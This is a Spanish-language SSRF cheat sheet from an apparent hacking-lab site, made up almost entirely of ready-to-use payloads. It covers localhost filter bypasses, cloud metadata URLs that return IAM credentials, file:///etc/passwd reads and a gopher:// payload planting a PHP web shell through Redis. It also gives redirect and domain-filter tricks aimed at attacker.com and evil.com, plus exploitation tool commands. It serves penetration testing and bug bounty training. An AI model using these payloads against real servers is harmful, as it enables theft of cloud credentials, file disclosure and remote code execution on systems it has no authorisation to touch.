Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet SSRF

Server-Side Request Forgery

Referencia rápida

  • Siempre probar representaciones alternativas de 127.0.0.1: decimal, octal, hex, IPv6
  • AWS IMDSv2 requiere token previo via PUT - IMDSv1 es accesible directamente
  • Redirect 302 desde servidor propio puede bypassear filtros de protocolo (http -> file://)
  • El protocolo gopher:// permite interactuar con casi cualquier servicio TCP interno
  • Buscar SSRF en parametros de URL, webhooks, integraciones, importacion de archivos y parsers de imagenes/PDF

Bypass de localhost

IPv4 basico

http://127.0.0.1:80

IPv4 abreviado

http://127.1:80

Cero como localhost

http://0

IPv6 localhost

http://[::]:80/

IPv6 full

http://[0000::1]:80/

Decimal bypass2130706433 = 127.0.0.1 en decimal

http://2130706433/

Octal bypass

http://0177.0000.0000.0001

Hexadecimal bypass

http://0x7f000001/

DNS rebinding y resolucion

nip.io wildcard

http://127.0.0.1.nip.io

localtest.meResuelve siempre a 127.0.0.1

http://localtest.me

Spoofed collaboratorConfigurar DNS record apuntando a 127.0.0.1

http://spoofed.burpcollaborator.net

Unicode dotsFullwidth dots que algunos parsers no reconocen

http://127。0。0。1

Enclosed alphanumeric

http://①②⑦.⓪.⓪.⓪

Cloud metadata endpoints

AWS IMDSv1 - credenciales IAM

http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]

AWS - user-data

http://169.254.169.254/latest/user-data

AWS - hostname

http://169.254.169.254/latest/meta-data/hostname

Google CloudRequiere header Metadata-Flavor: Google

http://metadata.google.internal/computeMetadata/v1/

AzureRequiere header Metadata: true

http://169.254.169.254/metadata/instance?api-version=2017-04-02

Digital Ocean

http://169.254.169.254/metadata/v1.json

Oracle Cloud

http://192.0.0.192/latest/meta-data/

Alibaba Cloud

http://100.100.100.200/latest/meta-data/

Protocolos alternativos

file:// - lectura de archivos

file:///etc/passwd

dict:// - interaccion TCP

dict://attacker:11111/

gopher:// - raw TCP (Redis RCE)Requiere soporte de gopher en el servidor

gopher://localhost:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22

sftp://

sftp://evil.com:11111/

ldap://

ldap://localhost:11211/%0astats%0aquit

file:// con bypass de extensionEl ? evita validaciones de extension de archivo

file:///etc/passwd%3F/

Bypass de filtros de dominio

Credentials en URL

https://{domain}@attacker.com

Subdominio del atacante

https://{domain}.attacker.com

Fragment bypass

https://attacker.com#{domain}

Null byte

https://attacker.com%00{domain}

Backslash trick (WHATWG)WHATWG trata \ como / pero RFC3986 no

http://attacker.com\@{domain}

Parameter pollution

next={domain}&next=attacker.com

Bypass de WAF

WAFTécnicaPayload
Filtro IP 127.0.0.1
Representacion decimal
http://2130706433/
Filtro IP 169.254.*
IPv6-mapped IPv4
http://[0:0:0:0:0:ffff:169.254.169.254]/
Filtro de protocolo
Redirect 302 a file://
http://attacker.com/redirect -> file:///etc/passwd
Filtro de dominio
DNS rebinding
http://1ynrnhl.xip.io (resuelve a 169.254.169.254)
Validacion URL
Backslash trick WHATWG
http://attacker.com\@allowed-domain.com
Filtro regex
Enclosed alphanumeric Unicode
http://ⒶⓉⓉⒶⒸⓀⒺⓇ.ⒸⓄⓂ

Herramientas

SSRFmap

Framework de explotacion SSRF automatizado con multiples modulos

python3 ssrfmap.py -r request.txt -p url -m readfiles

Gopherus

Genera payloads Gopher para Redis, MySQL, FastCGI, Memcache y SMTP

python3 gopherus.py --exploit redis

Interactsh

Servidor de callbacks OOB para confirmar SSRF blind via DNS/HTTP

interactsh-client -v

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica